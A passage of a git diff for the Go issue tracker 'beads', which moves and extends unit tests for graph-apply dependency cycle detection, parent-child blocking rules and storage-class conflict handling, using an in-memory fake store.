the fake treats it as - // idempotent for duplicate-suppression tests. - return nil - } - return fmt.Errorf("dependency already exists with type %s", existing.Type) - } - } - if isGraphApplyFakeScheduling(dep.Type) && !opts.SkipCycleCheck && !tx.store.blindPerEdgeCycleChecks && tx.hasSchedulingPath(dep.DependsOnID, dep.IssueID) { - return fmt.Errorf("adding dependency would create a cycle") - } - depCopy := *dep - tx.store.deps = append(tx.store.deps, &depCopy) - return nil -} - -func (tx *graphApplyFakeTx) CycleThroughEdges(_ context.Context, edges [][2]string) (string, error) { - tx.store.cycleEdges = append([][2]string(nil), edges...) - for _, edge := range edges { - if tx.hasSchedulingPath(edge[1], edge[0]) { - return edge[0] + " → " + edge[1] + " → " + edge[0], nil - } - } - return "", nil -} - -func (tx *graphApplyFakeTx) hasParentPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID == id && dep.Type == types.DepParentChild && visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func isGraphApplyFakeScheduling(t types.DependencyType) bool { - return isGraphApplyFakeBlocking(t) || t == types.DepParentChild -} - -func (tx *graphApplyFakeTx) hasSchedulingPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID == id && isGraphApplyFakeScheduling(dep.Type) && visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func (tx *graphApplyFakeTx) GetDependencyRecords(ctx context.Context, issueID string) ([]*types.Dependency, error) { - return tx.store.GetDependencyRecords(ctx, issueID) -} - -func (tx *graphApplyFakeTx) AddLabel(context.Context, string, string, string) error { - return nil -} - -func (tx *graphApplyFakeTx) UpdateIssue(_ context.Context, id string, updates map[string]interface{}, _ string) error { - issue, ok := tx.store.issues[id] - if !ok { - return storage.ErrNotFound - } - if assignee, ok := updates["assignee"].(string); ok { - issue.Assignee = assignee - } - return nil -} - -func (tx *graphApplyFakeTx) hasBlockingPath(fromID, toID string) bool { - seen := make(map[string]bool) - var visit func(string) bool - visit = func(id string) bool { - if id == toID { - return true - } - if seen[id] { - return false - } - seen[id] = true - for _, dep := range tx.store.deps { - if dep.IssueID != id || !isGraphApplyFakeBlocking(dep.Type) { - continue - } - if visit(dep.DependsOnID) { - return true - } - } - return false - } - return visit(fromID) -} - -func isGraphApplyFakeBlocking(depType types.DependencyType) bool { - return graphApplyCycleRelevantDependencyType(depType) -} - -func withGraphApplyFakeStore(t *testing.T) (context.Context, *graphApplyFakeStore) { - t.Helper() - ctx := context.Background() - fakeStore := newGraphApplyFakeStore() - oldStore, oldCtx, oldActor := store, rootCtx, actor - store, rootCtx, actor = fakeStore, ctx, "graph-apply-test" - t.Cleanup(func() { - store, rootCtx, actor = oldStore, oldCtx, oldActor - }) - return ctx, fakeStore -} - -func TestExecuteGraphApplyUnitRejectsMixedLocalExternalBlockingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing", - Title: "Existing", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing", ToKey: "a", Type: "blocks"}, - {FromKey: "b", ToID: "ga-existing", Type: "blocks"}, - {FromKey: "a", ToKey: "b", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected mixed local/external blocking cycle to be rejected") - } - if !strings.Contains(err.Error(), "cycle") { - t.Fatalf("error = %q, want cycle rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitKeepsStorageCycleChecksAfterGraphPreflight(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing", - Title: "Existing", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing", ToKey: "a", Type: "blocks"}, - {FromKey: "a", ToKey: "b", Type: "blocks"}, - {FromKey: "b", ToID: "external:other:shipped", Type: "blocks"}, - }, - } - - if _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}); err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - if len(fakeStore.addOpts) != len(plan.Edges) { - t.Fatalf("AddDependencyWithOptions calls = %d, want %d", len(fakeStore.addOpts), len(plan.Edges)) - } - for i, opts := range fakeStore.addOpts { - if opts.SkipCycleCheck { - t.Fatalf("edge %d SkipCycleCheck = true, want false", i) - } - } -} - -// TestExecuteGraphApplyUnitRejectsBlockingThroughExistingParentChild verifies -// that graph apply still reaches the storage hierarchy guard after its -// blocks-only whole-graph cycle preflight. -func TestExecuteGraphApplyUnitRejectsBlockingThroughExistingParentChild(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, id := range []string{"ga-parent", "ga-child"} { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: id, - Title: id, - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", id, err) - } - } - // Existing parent-child dep: ga-child is a child of ga-parent. - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-child", - DependsOnID: "ga-parent", - Type: types.DepParentChild, - }) - - plan := &GraphApplyPlan{ - Edges: []GraphApplyEdge{ - {FromID: "ga-parent", ToID: "ga-child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected blocking edge to own descendant to be rejected") - } - if !strings.Contains(err.Error(), "cannot be blocked by its descendant") { - t.Fatalf("error = %q, want hierarchy rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsBlockingThroughPlannedHierarchyRegardlessOfOrder(t *testing.T) { - tests := []struct { - name string - plan *GraphApplyPlan - }{ - { - name: "explicit edges", - plan: &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "grand", Title: "Grand"}, - {Key: "parent", Title: "Parent"}, - {Key: "child", Title: "Child"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "grand", Type: "conditional-blocks"}, // Deliberately first. - {FromKey: "child", ToKey: "parent", Type: "parent-child"}, - {FromKey: "parent", ToKey: "grand", Type: "parent-child"}, - }, - }, - }, - { - name: "inline deps", - plan: &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "grand", Title: "Grand"}, - {Key: "parent", Title: "Parent", Deps: []GraphApplyNodeDep{{Type: "parent-child", Target: "grand"}}}, - {Key: "child", Title: "Child", Deps: []GraphApplyNodeDep{ - {Type: "blocks", Target: "grand"}, // Deliberately first. - {Type: "parent-child", Target: "parent"}, - }}, - }, - }, - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - _, err := executeGraphApply(ctx, tt.plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "cannot be blocked by its ancestor") { - t.Fatalf("error = %v, want planned-ancestor rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("failed graph transaction leaked writes: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } - }) - } -} - -// TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking is the -// companion guard: a planned blocking edge that closes a cycle through an -// existing blocking dep must still be rejected by the preflight. -func TestExecuteGraphApplyUnitRejectsBlockingThroughExistingBlocking(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, id := range []string{"ga-x", "ga-y"} { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: id, - Title: id, - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", id, err) - } - } - // Existing blocking dep: ga-y blocks ga-x. - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-y", - DependsOnID: "ga-x", - Type: types.DepBlocks, - }) - - plan := &GraphApplyPlan{ - Edges: []GraphApplyEdge{ - {FromID: "ga-x", ToID: "ga-y", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected blocking cycle through existing blocking dep to be rejected") - } - if !strings.Contains(err.Error(), "cycle") { - t.Fatalf("error = %q, want cycle rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsBlockingChildToParentDuplicate(t *testing.T) { - ctx, _ := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected default blocking child-to-parent duplicate to be rejected") - } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child duplicate rejection", err.Error()) - } -} - -func TestExecuteGraphApplyUnitRejectsReverseParentToChildBlockingEdge(t *testing.T) { - tests := []struct { - name string - depType string - externalID bool - }{ - {name: "local blocks", depType: "blocks"}, - {name: "local conditional blocks", depType: "conditional-blocks"}, - {name: "external blocks", depType: "blocks", externalID: true}, - {name: "external conditional blocks", depType: "conditional-blocks", externalID: true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - nodes := []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - } - edge := GraphApplyEdge{FromKey: "root", ToKey: "child", Type: tt.depType} - if tt.externalID { - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - nodes = []GraphApplyNode{ - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - } - edge = GraphApplyEdge{FromID: "ga-parent", ToKey: "child", Type: tt.depType} - } - - plan := &GraphApplyPlan{ - Nodes: nodes, - Edges: []GraphApplyEdge{edge}, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected reverse parent-to-child blocking edge to be rejected") - } - if !strings.Contains(err.Error(), "parent-child") { - t.Fatalf("error = %q, want parent-child reverse rejection", err.Error()) - } - }) - } -} - -func TestExecuteGraphApplyUnitRejectsExternalParentTransitiveBlockingPath(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "mid", Title: "Middle", Type: "task"}, - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-parent", ToKey: "mid", Type: "blocks"}, - {FromKey: "mid", ToKey: "child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected external parent transitive blocking path to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsStoredPrefixParentBlockingPath(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - for _, issue := range []*types.Issue{ - { - ID: "ga-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, - { - ID: "ga-existing-mid", - Title: "Existing Middle", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeTask, - }, - } { - if err := fakeStore.CreateIssue(ctx, issue, actor); err != nil { - t.Fatalf("CreateIssue(%s): %v", issue.ID, err) - } - } - fakeStore.deps = append(fakeStore.deps, &types.Dependency{ - IssueID: "ga-parent", - DependsOnID: "ga-existing-mid", - Type: types.DepBlocks, - }) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "child", Title: "Child", Type: "task", ParentID: "ga-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing-mid", ToKey: "child", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected stored-prefix parent blocking path to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsTransitiveParentChainBlockingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - if err := fakeStore.CreateIssue(ctx, &types.Issue{ - ID: "ga-existing-parent", - Title: "Existing Parent", - Status: types.StatusOpen, - Priority: 2, - IssueType: types.TypeEpic, - }, actor); err != nil { - t.Fatalf("CreateIssue(existing parent): %v", err) - } - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task", ParentKey: "b"}, - {Key: "b", Title: "B", Type: "task", ParentID: "ga-existing-parent"}, - }, - Edges: []GraphApplyEdge{ - {FromID: "ga-existing-parent", ToKey: "a", Type: "blocks"}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected transitive parent-chain blocking cycle to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsReverseParentChildEdgeCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "root", ToKey: "child", Type: string(types.DepParentChild)}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil { - t.Fatal("expected reverse parent-child edge to be rejected") - } - if got, want := err.Error(), "planned blocking dependencies create a path from parent"; !strings.Contains(got, want) { - t.Fatalf("error = %q, want to contain %q", got, want) - } - if _, ok := fakeStore.issues["ga-1"]; ok { - t.Fatal("transaction committed graph issues after validation failure") - } -} - -func TestExecuteGraphApplyUnitRejectsCombinedSchedulingCycle(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - } - - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "cycle") { - t.Fatalf("combined scheduling cycle error = %v, want rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("transaction committed after combined cycle: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } -} - -func TestExecuteGraphApplyUnitFinalGateCatchesCycleHiddenFromPerEdgeChecks(t *testing.T) { - plans := map[string]*GraphApplyPlan{ - "explicit parent-child edge": { - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "b", ToKey: "c", Type: string(types.DepParentChild)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - }, - "inline parent-child dependency": { - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task", Deps: []GraphApplyNodeDep{{Type: string(types.DepParentChild), Target: "c"}}}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}, - {FromKey: "c", ToKey: "a", Type: string(types.DepConditionalBlocks)}, - }, - }, - } - for name, plan := range plans { - t.Run(name, func(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - fakeStore.blindPerEdgeCycleChecks = true - _, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err == nil || !strings.Contains(err.Error(), "graph dependency cycle") { - t.Fatalf("final merged cycle gate error = %v, want rejection", err) - } - if len(fakeStore.issues) != 0 || len(fakeStore.deps) != 0 { - t.Fatalf("transaction committed after final cycle gate: issues=%d deps=%d", len(fakeStore.issues), len(fakeStore.deps)) - } - }) - } -} - -func TestExecuteGraphApplyUnitFinalGateIncludesImplicitNodeParent(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "a", Title: "A", Type: "task"}, - {Key: "b", Title: "B", Type: "task", ParentKey: "c"}, - {Key: "c", Title: "C", Type: "task"}, - }, - Edges: []GraphApplyEdge{{FromKey: "a", ToKey: "b", Type: string(types.DepBlocks)}}, - } - result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - want := map[[2]string]bool{ - {result.IDs["a"], result.IDs["b"]}: true, - {result.IDs["b"], result.IDs["c"]}: true, - } - if len(fakeStore.cycleEdges) != len(want) { - t.Fatalf("final cycle edges = %v, want explicit block plus implicit parent", fakeStore.cycleEdges) - } - for _, edge := range fakeStore.cycleEdges { - if !want[edge] { - t.Fatalf("unexpected final cycle edge %v; want %v", edge, want) - } - } -} - -func TestExecuteGraphApplyUnitAllowsExplicitParentChildDuplicate(t *testing.T) { - ctx, fakeStore := withGraphApplyFakeStore(t) - - plan := &GraphApplyPlan{ - Nodes: []GraphApplyNode{ - {Key: "root", Title: "Root", Type: "epic"}, - {Key: "child", Title: "Child", Type: "task", ParentKey: "root"}, - }, - Edges: []GraphApplyEdge{ - {FromKey: "child", ToKey: "root", Type: string(types.DepParentChild)}, - }, - } - - result, err := executeGraphApply(ctx, plan, GraphApplyOptions{}) - if err != nil { - t.Fatalf("executeGraphApply: %v", err) - } - deps, err := fakeStore.GetDependenciesWithMetadata(ctx, result.IDs["child"]) - if err != nil { - t.Fatalf("GetDependenciesWithMetadata(child): %v", err) - } - if len(deps) != 1 { - t.Fatalf("dependency count = %d, want 1", len(deps)) - } - if deps[0].ID != result.IDs["root"] { - t.Fatalf("dependency target = %s, want %s", deps[0].ID, result.IDs["root"]) - } - if deps[0].DependencyType != types.DepParentChild { - t.Fatalf("dependency type = %s, want %s", deps[0].DependencyType, types.DepParentChild) - } -} - -// An explicit durable storage_class on an effective wisp-plane node must be -// rejected, not silently erased into an effective-ephemeral record -// (Protocol v0.1 §C1.3). versioned is normalized to the unset marker (C2.4) -// only after that conflict check. Cases pin an explicit class so resolution -// never reads the config global and the test stays hermetic; config-default -// interaction is covered by the embedded create tests. -func TestGraphApplyNodeStorageClassConflicts(t *testing.T) { - boolPtr := func(b bool) *bool { return &b } - - tests := []struct { - name string - node GraphApplyNode - opts GraphApplyOptions - wantErr string // substring; "" means no error expected - wantEphem bool - wantClass types.StorageClass - }{ - { - name: "explicit versioned with node ephemeral is rejected", - node: GraphApplyNode{Key: "n1", Type: "task", StorageClass: "versioned", Ephemeral: boolPtr(true)}, - wantErr: "storage_class versioned conflicts with ephemeral/no_history", - }, - { - name: "explicit versioned with node no_history is rejected", - node: GraphApplyNode{Key: "n2", Type: "task", StorageClass: "versioned", NoHistory: boolPtr(true)}, - wantErr: "storage_class versioned conflicts with ephemeral/no_history", - }, - { - name: "explicit unversioned with plan-wide ephemeral is rejected", - node: GraphApplyNode{Key: "n3", Type: "task", StorageClass: "unversioned"}, - opts: GraphApplyOptions{Ephemeral: true}, - wantErr: "storage_class unversioned conflicts with ephemeral/no_history", - }, - { - name: "explicit versioned alone normalizes to unset", - node: GraphApplyNode{Key: "n4", Type: "task", StorageClass: "versioned"}, - wantClass: "", - }, - { - name: "storage_class ephemeral spelling routes to wisp", - node: GraphApplyNode{Key: "n5", Type: "task", StorageClass: "ephemeral"}, - wantEphem: true, - wantClass: "", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ephemeral, _, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) - if tt.wantErr != "" { - if err == nil { - t.Fatalf("expected error containing %q, got nil (ephemeral=%v class=%q)", tt.wantErr, ephemeral, class) - } - if !strings.Contains(err.Error(), tt.wantErr) { - t.Fatalf("error = %q, want substring %q", err.Error(), tt.wantErr) - } - return - } - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if ephemeral != tt.wantEphem { - t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) - } - if class != tt.wantClass { - t.Errorf("class = %q, want %q", class, tt.wantClass) - } - }) - } -} - -// A per-type config default (storage-class.=unversioned) must yield to an -// effective wisp plane rather than reaching validation and blocking the node -// (flag > config, Protocol v0.1 §C1.3). Unlike the hermetic conflict cases -// above, these leave node.StorageClass unset so resolution reads the config -// global, so the subtests share one process-wide config and cannot run in -// parallel. The precondition assert guards against a silent pass if config -// never initialized (Set is a no-op on an uninitialized viper). -func TestGraphApplyNodeStorageClassConfigDefaultYieldsToWispPlane(t *testing.T) { - config.ResetForTesting() - t.Cleanup(config.ResetForTesting) - if err := config.Initialize(); err != nil { - t.Fatalf("config.Initialize: %v", err) - } - config.Set("storage-class.task", "unversioned") - if got := config.GetString("storage-class.task"); got != "unversioned" { - t.Fatalf("precondition: storage-class.task = %q, want unversioned", got) - } - - boolPtr := func(b bool) *bool { return &b } - - tests := []struct { - name string - node GraphApplyNode - opts GraphApplyOptions - wantEphem bool - wantNoHis bool - }{ - { - name: "plan-wide ephemeral clears config-derived unversioned", - node: GraphApplyNode{Key: "n1", Type: "task"}, - opts: GraphApplyOptions{Ephemeral: true}, - wantEphem: true, - }, - { - name: "node-level ephemeral clears config-derived unversioned", - node: GraphApplyNode{Key: "n2", Type: "task", Ephemeral: boolPtr(true)}, - wantEphem: true, - }, - { - name: "plan-wide no_history clears config-derived unversioned", - node: GraphApplyNode{Key: "n3", Type: "task"}, - opts: GraphApplyOptions{NoHistory: true}, - wantNoHis: true, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - ephemeral, noHistory, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) - if err != nil { - t.Fatalf("unexpected error: %v", err) - } - if class != "" { - t.Errorf("class = %q, want empty (config default yields to wisp plane)", class) - } - if ephemeral != tt.wantEphem { - t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) - } - if noHistory != tt.wantNoHis { - t.Errorf("noHistory = %v, want %v", noHistory, tt.wantNoHis) - } - }) - } -} diff --git a/cmd/bd/graph_apply_test.go b/cmd/bd/graph_apply_test.go index 7a848d05a..1d8ded671 100644 --- a/cmd/bd/graph_apply_test.go +++ b/cmd/bd/graph_apply_test.go @@ -3,6 +3,7 @@ package main import ( "bytes" "encoding/json" + "errors" "fmt" "os" "reflect" @@ -10,7 +11,9 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // TestDocsGraphPlanExampleValidates pins the --graph doc supplement's example @@ -526,35 +529,6 @@ func TestGraphApplyEdgeIsLocalCycleRelevantOnlyForLocalBlockingEdges(t *testing. } } -func TestGraphApplyParentDepPairs(t *testing.T) { - nodes := []GraphApplyNode{ - {Key: "root", Title: "Root"}, - {Key: "child", Title: "Child", ParentKey: "root"}, - {Key: "external-child", Title: "External child", ParentID: "bd-parent"}, - } - keyToID := map[string]string{ - "root": "bd-root", - "child": "bd-child", - "external-child": "bd-external-child", - } - - pairs := graphApplyParentDepPairs(nodes, keyToID) - for _, pair := range []struct { - child string - parent string - }{ - {"bd-child", "bd-root"}, - {"bd-external-child", "bd-parent"}, - } { - if !pairs[graphApplyDepPairKey(pair.child, pair.parent)] { - t.Fatalf("missing parent dep pair %s -> %s", pair.child, pair.parent) - } - } - if pairs[graphApplyDepPairKey("bd-root", "bd-child")] { - t.Fatal("unexpected reverse parent dep pair") - } -} - // TestEmitGraphApplyDryRun_JSON verifies that the dry-run path emits valid // JSON with the expected structure when jsonOutput is set. This exercises the // code path that `bd create --graph --dry-run --json` takes, confirming the @@ -1007,3 +981,638 @@ func TestGraphApplyNodeCoversCreateIssueParams(t *testing.T) { } } } + +// An explicit durable storage_class on an effective wisp-plane node must be +// rejected, not silently erased into an effective-ephemeral record +// (Protocol v0.1 §C1.3). versioned is normalized to the unset marker (C2.4) +// only after that conflict check. Cases pin an explicit class so resolution +// never reads the config global and the test stays hermetic; config-default +// interaction is covered by the embedded create tests. +func TestGraphApplyNodeStorageClassConflicts(t *testing.T) { + boolPtr := func(b bool) *bool { return &b } + + tests := []struct { + name string + node GraphApplyNode + opts GraphApplyOptions + wantErr string // substring; "" means no error expected + wantEphem bool + wantClass types.StorageClass + }{ + { + name: "explicit versioned with node ephemeral is rejected", + node: GraphApplyNode{Key: "n1", Type: "task", StorageClass: "versioned", Ephemeral: boolPtr(true)}, + wantErr: "storage_class versioned conflicts with ephemeral/no_history", + }, + { + name: "explicit versioned with node no_history is rejected", + node: GraphApplyNode{Key: "n2", Type: "task", StorageClass: "versioned", NoHistory: boolPtr(true)}, + wantErr: "storage_class versioned conflicts with ephemeral/no_history", + }, + { + name: "explicit unversioned with plan-wide ephemeral is rejected", + node: GraphApplyNode{Key: "n3", Type: "task", StorageClass: "unversioned"}, + opts: GraphApplyOptions{Ephemeral: true}, + wantErr: "storage_class unversioned conflicts with ephemeral/no_history", + }, + { + name: "explicit versioned alone normalizes to unset", + node: GraphApplyNode{Key: "n4", Type: "task", StorageClass: "versioned"}, + wantClass: "", + }, + { + name: "storage_class ephemeral spelling routes to wisp", + node: GraphApplyNode{Key: "n5", Type: "task", StorageClass: "ephemeral"}, + wantEphem: true, + wantClass: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + ephemeral, _, class, err := graphApplyNodeStorageClass(tt.node, tt.opts) + if tt.wantErr != "" { + if err == nil { + t.Fatalf("expected error containing %q, got nil (ephemeral=%v class=%q)", tt.wantErr, ephemeral, class) + } + if !strings.Contains(err.Error(), tt.wantErr) { + t.Fatalf("error = %q, want substring %q", err.Error(), tt.wantErr) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if ephemeral != tt.wantEphem { + t.Errorf("ephemeral = %v, want %v", ephemeral, tt.wantEphem) + } + if class != tt.wantClass { + t.Errorf("class = %q, want %q", class, tt.wantClass) + } + }) + } +} + +// A per-type config default (storage-class.=unversioned) must yield to an +// effective wisp plane rather than reaching validation and blocking the node +// (flag > config, Protocol v0.1 §C1.3). Unlike the hermetic conflict cases +// above, these leave node.StorageClass unset so resolution reads the config +// global, so the subtests share one process-wide config and cannot run in +// parallel. The precondition assert guards against a silent pass if config +// never initialized (Set is a no-op on an uninitialized viper). +func TestGraphApplyNodeStorageClassConfigDefaultYieldsToWispPlane(t *testing.T) { + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("storage-class.task", "unversioned") + if got := config.GetString("storage-class.task"); got != "unversioned" { + t.Fatalf("precondition: storage-class.task = %q, want unversioned", got) + } + + boolPtr := func(b bool) *bool { return &b } + + tests := []struct { + name string + node GraphApplyNode + opts GraphApplyOptions + wantEphem bool + wantNoHis bool + }{ + { + name: "plan-wide ephemeral clears config-derived unversioned", + node: GraphApplyNode{Key: "n1", Type: "task"}, + opts: GraphApplyOptions{Ephemeral: true}, + wantEphem: true, + }, + { + name: "node-level ephemeral clears config-derived unversioned", + node: GraphApplyNode{Key: "n2", Type: "task", Ephemeral: boolPtr(true)}, + wantEphem: true, + }, + { + name: "plan-wide no_history clears config-derived unversioned", + node: GraphApplyNode{Key: "n3", Type: "task"}, + opts: GraphApplyOptions{NoHistory: true}, + 